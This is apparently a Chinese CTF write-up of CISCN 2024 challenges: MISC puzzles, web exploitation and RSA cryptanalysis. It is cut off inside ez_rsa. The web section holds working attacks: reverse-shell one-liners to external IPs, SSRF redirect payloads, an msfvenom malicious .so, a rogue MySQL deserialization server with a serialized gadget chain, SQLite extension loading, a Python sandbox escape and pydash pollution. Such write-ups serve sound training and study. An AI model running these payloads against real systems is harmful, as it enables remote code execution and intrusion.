一、MISC
1.火鍋鏈觀光打卡
開啟後連線自己的錢包,然後點選開始遊戲,答題八次後點選獲取NFT,得到有flag的圖片
沒什麼多說的,知識問答題
兌換 NFT
Flag{y0u_ar3_hotpot_K1ng}
2.Power Trajectory Diagram
方法1:
使用py中的numpy和pandas庫讀取npz檔案並儲存為csv檔案,程式碼如下:
import numpy as np
import pandas as pd
np.set_printoptions(threshold=np.inf)
a1 = np.load('attachment.npz', allow_pickle=True)
print(a1.files)
print('read:', a1)
index = a1['index']
myin = a1['input']
myout = a1['output']
mytra = a1['trace']
# print(mytra.shape)
df = pd.DataFrame(mytra)
df.to_csv('data1.csv', index=False)
df1 = pd.DataFrame({'index':index, 'input': myin})
df1.to_csv('data2.csv', index=False)
得到data1.csv、data2.csv,合併得到data.csv。
開啟data.csv,可以看到功耗資料,根據https://zhuanlan.zhihu.com/p/157585244,我認為該題的關鍵是在於找到與其它字元不同的字元,就是該index的正確密碼。
基於此,利用Excel的折線圖功能,例如第四個字元,如圖所示:
可以看出,有一條綠色線與其它線都不同,為c,所以第四個字元就是c。
依次重複,得到整個金鑰:_ciscn_2024_
即flag:flag{_ciscn_2024_}
方法2:
測試程式碼:
import numpy as np
import matplotlib
import matplotlib.pyplot as plt
matplotlib.use('tkAgg')
data = np.load("./attachment.npz")
print(data.files)
aa = data[data.files[0]]
bb = data[data.files[1]]
cc = data[data.files[2]]
dd = data[data.files[3]]
print(len(aa), aa)
print(len(bb), bb)
print(len(cc), cc)
print(len(dd), dd)
for i in range(len(dd)):
plt.scatter([i for i in range(len(dd[i]))], dd[i])
plt.show()
從 npz 檔案中提取到四個檔案的值,output 為空,其他 3 個檔案提取的陣列長度都是 520,根據 index 每 40 個可得出一個明文,大致判斷共有 13 個明文。
input是一個表
output 為空
trace 裡的資料都是小數
嘗試對 trace 裡的資料畫點圖:
發現每組資料的最大值有很多點,最小值的點只有幾個,所以我們嘗試找出trace每組資料的最小值的下標:
import numpy as np
data = np.load("./attachment.npz")
dd = data[data.files[3]]
for i in range(len(dd)):
min_index = np.argmin(dd[i])
print(f"Minimum index for group {i}: {min_index}")
除了最後一組資料全為 985,其餘資料中都有其他不同的數字
用每四十組資料的最小值的下標再畫一次圖分析,發現最大值只有一個,所以我們需要繼續找最大值的下標,然後再從input表中獲取對應的字元即可:
exp:
import numpy as np
import matplotlib.pyplot as plt
f = np.load('./attachment.npz')
index = f['index']
ip = f['input']
tr = f['trace']
flag = ""
for _ in range(13):
t = []
table = ip[40*_:40*(_+1)]
for i in range(40):
# 每個列表畫一個散點圖,發現最小值
# plt.scatter([i for i in range(len(tr[_*40+i]))], tr[_*40+i])
# plt.show()
# 獲取該列表的最小值的下標
min = np.argmin(tr[_*40+i])
# 將最小值的下標插入新列表
t.append(min)
# 用 40 個列表的最小值的下標作為資料,畫圖,發現有最大值
for i in range(len(t)):
plt.scatter([i for i in range(len(t))], np.array(t))
plt.show()
# 求最大值的下標
mins = np.argmax(t)
# 用下標從表裡取字元
ind = table[mins]
# 把字元加到flag裡
flag += ind
print(flag)
得到:_ciscn_2024_a
由於前面最後一組資料全是 985,因此最後一組資料得出的 a 不算
去掉 a 得到最終flag為:flag{_ciscn_2024_}
3.神秘的檔案
方法1:
究極套娃,看的眼睛都要花了,真就純找。得到PPT檔案,直接改字尾為.zip去找
part1
在docProps目錄下的兩個xml中,app.xml提示瞭解密演算法,core.xml提示了密文和金鑰key,直接上賽博
part2
在ppt/embeddings資料夾下的docx中,從PPT開啟的話就是第二章左上角那塊黑色的,雙擊就行,開啟後全選,改字型大小,改顏色,凱撒偏移量10解密,然後base64解密,得到part2
part3
在vbaProject.bin中,這個真的找了好久,後來也是網上搜得到說ppt隱寫可能跟宏和宏指令碼有關係,叫VBA工程解密。先010開啟vbaProject.bin,找DPB位元組,把最後一位改成x,然後儲存,之後改字尾為.zip,直接開啟會發現其中內涵的檔案,開啟VBA資料夾下的模組一
發現一段密文,不知道是啥但是提示是base64之後的,那就先解密唄,然後得到亂碼,一般這種特殊字元多的不是RC4就是rot,最後發現是無密碼RC4解密,然後再解一層base64
part4
直接開啟PPT(因為它是由media資料夾下的圖片拼成的),第三張,好像是要選可見隱藏字元,因為我電腦自動預設選的所以直接可以看,base64解碼
part5
是在第五章ppt的註釋中,直接賽博廚師帽跑,多層base64解碼,得到第五部分
part6
是在第五張PPT正文邊界的左上角,把它介面縮放或者直接拆media資料夾都可以,base64解碼
part7
是在ppt\slides下的slides4.xml中,id4的位置,下面提示rot13 all,暗示包括number,base64解碼
part8
在slideLayout2.xml中,南平,最開始沒理解最後是啥意思,連一起了才看懂。。。。,就是要除去上面字串中的Bb13。。。然後base64解碼
part9
直接在media資料夾下,看那個貓人的圖片左下角,base64解碼
part10
在comment1.xml中,維吉尼亞解碼,金鑰是furry
總之最後flag是flag{e675efb3-346f-405f-90dd-222b387edee9}
方法2:
先是一些簡單容易找到的,按照提示規則進行 base64、維吉尼亞、凱撒等解碼即可
PPT 裡面找到了很多東西:
改zip字尾,在 world 文件裡有發現:
圖片:
總共可以得到:
part2:675efb
Payt4:6f-40
pArt5:5f-90d
ParT6:d-2
parT9:deH
PARt10:9}
下面的一些就需要更加仔細了:
在壓縮包裡找到了二進位制檔案
i13POMdzEAzHfy4dGS+vUA==
這裡是 base64+RC4+base64
得到 PArt3:3-34
ppt 檔案屬性:
密文:QFCfpPQ6ZymuM3gq
加密方式:bifld
Key:lanjing;
得到Part1:flag{e
ppt母版:
去掉Bb13後解 base64
得到 paRt8:87e
選擇窗格:
Rot13+base64
得到PART7=22b3
拼接得到最終 flag:
flag{e675efb3-346f-405f-90dd-222b387edee9}
4.大學生安全測試能力調研問卷
填問卷
5.通風機
方法1:
得到mwp檔案,010開啟補全前三位檔案頭,使用V4.0 STEP 7 MicroWIN SP9開啟,每個地方都看看,之前沒見過,最後在符號表中找到flag
base64解碼後得到flag
方法2:
使用binwalk可以分離出一個zlib檔案,使用python解壓,程式碼如下:
import zlib
def decompress_zlib_file(input_filename, output_filename):
with open(input_filename, 'rb') as compressed_file:
compressed_data = compressed_file.read()
decompressed_data = zlib.decompress(compressed_data)
with open(output_filename, 'wb') as output_file:
output_file.write(decompressed_data)
# Example usage
input_file = '35.zlib'
output_file = 'decompressed_data.txt'
decompress_zlib_file(input_file, output_file)
用Winhex 開啟 decompressed_data.txt,可以看到經過base64編碼後的flag。
解碼得到flag:
6.盜版軟體
兩個檔案
第一個dmp改字尾為data,用gimp2調一下引數得到域名
winhack.com
之後找ip,微步找釋放檔案
dump下來,loader沒啥用,看output.png
發現有個zip,提取出來
發現是base85,解密之後,覺得是shellcode,改字尾為bin放微步跑得到ip
winhack.com39.100.72.235
7.DNS
發現域名很多二進位制,提取出來轉二維碼,CQR掃一下
得到一段密碼
之後繼續看
發現有兩種流
dns.id==0x6421
dns.id==0x4500
分別提取,一個得到壓縮包,壓縮包用二維碼得到的解密
另一個得到亂碼,file一下發現壓縮包得到是pgp
不知道key,看題目描述,經過嘗試發現rev+hex+rev可以成功import
之後把亂碼檔案處理一下,decrypt
二、WEB
1.Simple_php
題目描述:小明在學習CTF的過程中遇到了一道PHP的題目,以他有限的水平做不出來,可以幫幫他嗎?
直接給了原始碼
paste或者rev可以讀檔案
發現一個異常情況,具有mysql使用者,或許可以從這裡入手
看出mysql服務開啟
cmd=mysql --version
ps -aux命令執行結果可以確認靶機有mysql服務
同時根目錄下沒有flag
BURP發包
cmd=l%0as /
為了命令執行不受限,反彈shell。這裡有一個小細節就是彈shell前的不可見字元是為了hex2bin函式能夠成功執行。因為ban了引號,變數型別自動判斷,如果十六進位制開頭是數字那麼我設定的變數$a會被判斷為數字,從而報錯無法執行。
cmd=php -r $a=ff3b62617368202d63202262617368202d69203e26202f6465762f7463702f3132302e34362e34312e3137332f3930323320303e2631223b;system(hex2bin($a));
mysql -uroot -proot -e "show databases;"
mysql -uroot -proot -e "use PHP_CMS;show tables;"
mysql -uroot -proot -e "use PHP_CMS;SELECT * FROM F1ag_Se3Re7;"
2.easycms
題目描述:簡單的cms,可以掃掃看?
hint:
提示1: /flag.php:
if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
echo "Just input 'cmd' From 127.0.0.1";
return;
}else{
system($_GET['cmd']);
}
提示2:github找一下原始碼?
敏感目錄:
/flag.php
/install.php
/Readme.txt
/Readme.txt是亂碼,線上恢復一下
迅睿CMS官方下載地址:https://www.xunruicms.com/down/
#### 安裝路徑
將網站執行目錄(主目錄)設定為:public(如果沒有就忽略設定�?
安裝環境監測�?/test.php
程式安裝地址�?/install.php
後臺登入地址�?/admin****.php�?****是隨機的�?
重置後臺地址:https://www.xunruicms.com/doc/1097.html
首次使用方法:https://www.xunruicms.com/doc/631.html
#### 執行環境
Laravel核心:PHP8.0及以�?
ThinkPHP核心:PHP7.4及以�?
CodeIgniter核心:PHP7.4及以�?
CodeIgniter72核心:PHP7.2及以�?
MySQL資料庫:MySQL5及以上,推薦5.7及以�?
#### 核心切換方法
https://www.xunruicms.com/doc/1246.html
無法重新安裝
hint的原始碼告訴我們flag.php存在ssrf,可以直接getshell。原始碼在github上。GitHub - dayrui/xunruicms: 迅睿CMS框架由PHP+MySQL+Codeigniter架構,基於MIT開源協議釋出,免費且不限制商業使用,允許開發者自由修改前後臺介面中的版權資訊。
資訊蒐集,存在一個已知的ssrf迅睿CMS漏洞公示,四川迅睿雲軟體開發有限公司廠商的漏洞列表 (xunruicms.com)
定位到原始碼路徑xunruicms-master\dayrui\Fcms\Control\Api\Api.php的qrcode函式
thumb引數可控
定位xunruicms-master\dayrui\Fcms\Core\Helper.php
dr_catcher_data函式存在SSRF
302.php,拿不到回顯所以只能反彈shell
<?php
//header("HTTP/1.1 302 found");
//header("Location:http://127.0.0.1:1337/flag");
//header("Location:file:///etc/passwd");
header("Location:http://127.0.0.1/flag.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F120.46.41.173%2F9023%200%3E%261%22");
exit();
?>
payload:
/index.php?s=api&c=api&m=qrcode&text=111&size=111&level=1&thumb=http://120.46.41.173/Jay17/302.php
3.easycms_revenge
和上題一樣,改一下302.php的內容
GIF89a
<html>
<?php
header("Location:http://127.0.0.1/flag.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F124.222.136.33%2F1337%200%3E%261%22");?>
</html>
這裡注意細節,靶機發了兩次請求,第一次我們就返回一個正常的圖片,第二次請求就發一個302,php程式碼塊要用html標籤包裹
4.ezjava
/app/BOOT-INF/lib下刪了jackson,不然就能直接打POJONode
依賴裡有AspectJWeaver,打任意檔案寫入
https://blog.csdn.net/uuzeray/article/details/136595841
後續還可以配合sqlite載入惡意so檔案
https://github.com/Y4tacker/JavaSec/blob/main/9.JDBC%20Attack/SQLite/index.md
然後AJ鏈子的入口要呼叫map.put
自定義類UserBean#readObject就可以配合利用
最終思路就是先mysql打入惡意反序列化資料寫入so檔案,再sqlite載入惡意so檔案
生成惡意so檔案
msfvenom -p linux/x64/exec CMD='echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIyLjEzNi4zMy8xMzM3IDA+JjEi|base64 -d|bash' -f elf-so -o evil.so
將生成的惡意序列化資料寫入output.ser
package com.example.jdbctest.exp;
import com.example.jdbctest.bean.UserBean;
import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Base64;
public class EXP {
// 獲取指定類的第一個建構函式,並設定為可訪問
public static Constructor<?> getCtor(final String name) throws Exception {
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
ctor.setAccessible(true);
return ctor;
}
// 建立一個UserBean物件,將evil.so的內容Base64編碼後存入UserBean中
public static Object getObject() throws Exception {
String filename = "../../../../../../../../../../../../tmp/evil.so"; // 路徑指向/tmp/evil.so
Path filePath = Paths.get("C:\\Users\\21135\\Desktop\\ciscnjava\\src\\main\\java\\com\\example\\jdbctest\\exp\\evil.so"); // 假設evil.so位於當前目錄
byte[] fileBytes = Files.readAllBytes(filePath); // 讀取檔案位元組
String content = Base64.getEncoder().encodeToString(fileBytes); // 將檔案內容Base64編碼
UserBean bean = new UserBean(filename, content); // 建立UserBean例項
Constructor<?> ctor = getCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Object simpleCache = ctor.newInstance(".", 12); // 例項化一個SimpleCache物件
bean.setObj(simpleCache); // 將SimpleCache物件設定為UserBean的obj屬性
return bean;
}
// 序列化一個物件到位元組陣列
public static byte[] serialize(Object object) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(object);
oos.close();
return baos.toByteArray();
}
// 主函式,序列化物件並將其寫入檔案
public static void main(String[] args) throws Exception {
byte[] serialized = serialize(getObject()); // 序列化物件
String fileName = "output.ser"; // 輸出檔名
// 使用FileOutputStream將位元組資料寫入檔案
FileOutputStream fos = new FileOutputStream(fileName);
fos.write(serialized);
fos.close(); // 關閉檔案輸出流
}
}
起一個惡意mysql服務,回包為惡意序列化資料
import socket
import binascii
import os
greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"
def receive_data(conn):
data = conn.recv(1024)
print("[*] Receiveing the package : {}".format(data))
return str(data).lower()
def send_data(conn,data):
print("[*] Sending the package : {}".format(data))
conn.send(binascii.a2b_hex(data))
def get_payload_content():
file= r'output.ser'
if os.path.isfile(file):
with open(file, 'rb') as f:
payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
print("open successs")
else:
print("open false")
#calc
payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
return payload_content
# 主要邏輯
def run():
while 1:
conn, addr = sk.accept()
print("Connection come from {}:{}".format(addr[0],addr[1]))
# 1.先傳送第一個 問候報文
send_data(conn,greeting_data)
while True:
# 登入認證過程模擬 1.客戶端傳送request login報文 2.服務端響應response_ok
receive_data(conn)
send_data(conn,response_ok_data)
#其他過程
data=receive_data(conn)
#查詢一些配置資訊,其中會傳送自己的 版本號
if "session.auto_increment_increment" in data:
_payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
send_data(conn,_payload)
data=receive_data(conn)
elif "show warnings" in data:
_payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
send_data(conn, _payload)
data = receive_data(conn)
if "set names" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "set character_set_results" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "show session status" in data:
mysql_data = '0100000102'
mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
# 為什麼我加了EOF Packet 就無法正常執行呢??
# //獲取payload
payload_content=get_payload_content()
# //計算payload長度
payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
payload_length_hex = payload_length[2:4] + payload_length[0:2]
# //計算資料包長度
data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
mysql_data += str(payload_content)
mysql_data += '07000005fe000022000100'
send_data(conn, mysql_data)
data = receive_data(conn)
if "show warnings" in data:
payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
send_data(conn, payload)
break
先利用mysql打AJ鏈子,寫入惡意so檔案
{
"type":"1",
"url":"jdbc:mysql://124.222.136.33:3309/a?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"
}
再打sqlite,指定tableName,載入寫入的惡意so檔案,反彈shell
{
"type":"3",
"tableName":"(select (load_extension(\"/tmp/evil.so\")));",
"url":"jdbc:sqlite:file:/tmp/db?enable_load_extension=true"
}
根目錄下拿到flag
5.mossfern
考的python棧幀沙箱逃逸,獲取到外部的棧幀,就可以用f_globals去獲取沙箱外的全域性變數
https://xz.aliyun.com/t/13635
https://zer0peach.github.io/2024/04/29/python%E6%A0%88%E5%B8%A7%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/
最後注意要將獲取的變數元組轉字串,再用逗號分隔,依次輸出,從而繞過seed
def getflag():
def f():
yield g.gi_frame.f_back
g = f()
frame=[x for x in g][0]
gattr = frame.f_back.f_back.f_back.f_locals['_'+'_builtins_'+'_']
code = frame.f_back.f_back.f_back.f_code
dir = gattr.dir
str = gattr.str
print(dir(code))
for i in str(code.co_consts):
print(i,end=",")
getflag()
6.sanic
sanic 是一個類似flask的web框架
掃目錄
訪問./src
from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash
# pydash==5.1.2
class Pollute:
def __init__(self):
pass
app = Sanic(__name__)
app.static("/static/", "./static/")
Session(app)
@app.route('/', methods=['GET', 'POST'])
async def index(request):
return html(open('static/index.html').read())
@app.route("/login")
async def login(request):
user = request.cookies.get("user")
if user.lower() == 'adm;n':
request.ctx.session['admin'] = True
return text("login success")
return text("login fail")
@app.route("/src")
async def src(request):
return text(open(__file__).read())
@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
if request.ctx.session.get('admin') == True:
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and '_.' not in key:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
return text("forbidden")
return text("forbidden")
if __name__ == '__main__':
app.run(host='0.0.0.0')
sanic可以透過用八進位制adm\073n繞過cookie
COOKIE_NAME_RESERVED_CHARS = re.compile(
'[\x00-\x1F\x7F-\xFF()<>@,;:\\\\"/[\\]?={} \x09]'
)
OCTAL_PATTERN = re.compile(r"\\[0-3][0-7][0-7]")
QUOTE_PATTERN = re.compile(r"[\\].")
在繞過admin後可以打pydash原型鏈汙染,waf掉了_.
pydash有這樣一段處理
def to_path_tokens(value):
"""Parse `value` into :class:`PathToken` objects."""
if pyd.is_string(value) and ("." in value or "[" in value):
# Since we can't tell whether a bare number is supposed to be dict key or a list index, we
# support a special syntax where any string-integer surrounded by brackets is treated as a
# list index and converted to an integer.
keys = [
PathToken(int(key[1:-1]), default_factory=list)
if RE_PATH_LIST_INDEX.match(key)
else PathToken(unescape_path_key(key), default_factory=dict)
for key in filter(None, RE_PATH_KEY_DELIM.split(value))
]
elif pyd.is_string(value) or pyd.is_number(value):
keys = [PathToken(value, default_factory=dict)]
elif value is UNSET:
keys = []
else:
keys = value
return keys
def unescape_path_key(key):
"""Unescape path key."""
key = key.replace(r"\\", "\\")
key = key.replace(r"\.", r".")
return key
這段程式碼主要包含了兩個函式,to_path_tokens 和 unescape_path_key,用於解析和處理資料結構路徑的表示式。這些函式可能是用於操作如 JSON 或巢狀字典這樣的複雜資料結構。下面是對這兩個函式的總結:
1. to_path_tokens 函式
目的:將輸入的 value 轉換為 PathToken 物件的列表,這些物件表示資料結構中的路徑點。
處理邏輯:
對字串形式的路徑進行分解,處理點(.)和方括號([)來區分不同的路徑段。
根據路徑段的內容,區分處理為列表索引或字典鍵。
對特定字串進行型別轉換(如字串形式的數字轉為整數索引)。
使用正規表示式幫助分割和識別路徑中的關鍵部分。
2. unescape_path_key 函式
目的:處理路徑鍵中的跳脫字元,將轉義序列轉換為對應的實際字元。
實現細節:
替換路徑鍵中的雙反斜槓 (\\) 為單反斜槓 (\)。
替換路徑鍵中的轉義點 (\.) 為點 (.)。
給出指令碼:
import requests
url = 'http://a053bd54-eb02-452c-af3f-299070f3fd84.challenge.ctf.show'
s = requests.Session()
s.cookies.update({
'user': '"adm\\073n"'
})
s.get(url + '/login')
# 開啟目錄瀏覽
# data = {"key": "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\.static.handler.keywords.directory_handler.directory_view", "value": True}
# 汙染目錄路徑
# data = {"key": "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\.static.handler.keywords.directory_handler.directory._parts", "value": ['/']}
# r = s.post(url + '/admin', json=data)
# print(r.text)
# 獲取flag路徑
# r = s.get(url + '/static/')
# print(r.text)
#汙染__file__,讀取flag
# data = {"key": "__class__\\\\.__init__\\\\.__globals__\\\\.__file__", "value": "/24bcbd0192e591d6ded1_flag"}
# r = s.post(url + '/admin', json=data)
# print(r.text)
# print(s.get(url + '/src').text)
三、Crypto
1、OvO
題目描述
from Crypto.Util.number import *
from secret import flag
nbits = 512
p = getPrime(nbits)
q = getPrime(nbits)
n = p * q
phi = (p-1) * (q-1)
while True:
kk = getPrime(128)
rr = kk + 2
e = 65537 + kk * p + rr * ((p+1) * (q+1)) + 1
if gcd(e, phi) == 1:
break
m = bytes_to_long(flag)
c = pow(m, e, n)
e = e >> 200 << 200
print(f'n = {n}')
print(f'e = {e}')
print(f'c = {c}')
"""
n = 111922722351752356094117957341697336848130397712588425954225300832977768690114834703654895285440684751636198779555891692340301590396539921700125219784729325979197290342352480495970455903120265334661588516182848933843212275742914269686197484648288073599387074325226321407600351615258973610780463417788580083967
e = 37059679294843322451875129178470872595128216054082068877693632035071251762179299783152435312052608685562859680569924924133175684413544051218945466380415013172416093939670064185752780945383069447693745538721548393982857225386614608359109463927663728739248286686902750649766277564516226052064304547032760477638585302695605907950461140971727150383104
c = 14999622534973796113769052025256345914577762432817016713135991450161695032250733213228587506601968633155119211807176051329626895125610484405486794783282214597165875393081405999090879096563311452831794796859427268724737377560053552626220191435015101496941337770496898383092414492348672126813183368337602023823
"""
給的 e 其實就是 d,只是結果是移位後的輸出,n 很大無法分解,但 kk 與 rr 很小,由 rr= e//n 即可推出 rr 和 kk,又由 e + x + kk*p + rr*((p+1)* (q+1))+ 1 = 65537,將 × 設為 0 和 2^200 然後聯立求解一元二次方程,就能求出 p, q 的上下界,這樣就有p 和q 的高位,列舉未知位嘗試coppersmith 直到分解出結果,最後代入求 e 和 d,進而求得flag。
cop 攻擊,exp:
# SageMath script to factor n and decrypt the message
n = 111922722351752356094117957341697336848130397712588425954225300832977768690114834703654895285440684751636198779555891692340301590396539921700125219784729325979197290342352480495970455903120265334661588516182848933843212275742914269686197484648288073599387074325226321407600351615258973610780463417788580083967
e = 37059679294843322451875129178470872595128216054082068877693632035071251762179299783152435312052608685562859680569924924133175684413544051218945466380415013172416093939670064185752780945383069447693745538721548393982857225386614608359109463927663728739248286686902750649766277564516226052064304547032760477638585302695605907950461140971727150383104
c = 14999622534973796113769052025256345914577762432817016713135991450161695032250733213228587506601968633155119211807176051329626895125610484405486794783282214597165875393081405999090879096563311452831794796859427268724737377560053552626220191435015101496941337770496898383092414492348672126813183368337602023823
def partial_p(p0, n, bits):
PR.<x> = PolynomialRing(Zmod(n))
f = p0 + x
f = f.monic()
roots = f.small_roots(X=2^(bits+5), beta=0.3)
if roots:
x0 = roots[0]
p = gcd(p0 + x0, n)
return ZZ(p)
def find_p(eh, n, bits):
RR = RealField(1000)
PR.<x> = PolynomialRing(RR)
f = (kk+rr)*x**2 + (rr*(n+1)+65538)*x + rr*n - eh*x
results = f.roots()
if results:
for x in results:
p_high = int(x[0]) >> 4 << 4
p = partial_p(p_high, n, bits)
if p and p != 1:
return p
# Calculating rr and kk based on given e and n
rr = e // n
kk = rr - 2
# Finding p
p = find_p(e, n, 200)
if p:
q = n // p
phi_n = (p - 1) * (q - 1)
# Computing the new e based on kk and rr
new_e = 65537 + kk * p + rr * ((p + 1) * (q + 1)) + 1
# Computing the private key d
d = inverse_mod(new_e, phi_n)
# Decrypting the ciphertext
m = power_mod(c, d, n)
print(bytes.fromhex(hex(m)[2:]))
else:
print("Failed to find p.")
拿到 flag{b5f771c6-18df-49a9-9d6d-ee7804f5416c}
2、古典密碼
密文:AnU7NnR4NassOGp3BDJgAGonMaJayTwrBqZ3ODMoMWxgMnFdNqtdMTM9
三層解密:埃特巴什+base64+柵欄
拿到 flag{b2bb0873-8cae-4977-a6de-0e298f0744c3}
3.ez_rsa
題目描述:
ezrsa.py:
from Crypto.Util.number import *
from Crypto.PublicKey import RSA
import random
from secret import flag
m = bytes_to_long(flag)
key = RSA.generate(1000)
passphrase = str(random.randint(0,999999)).zfill(6).encode()
output = key.export_key(passphrase=passphrase).split(b'\n')
for i in range(7, 15):
output[i] = b'*' * 64
with open("priv.pem", 'wb') as f:
for line in output:
f.write(line + b'\n')
with open("enc.txt", 'w') as f:
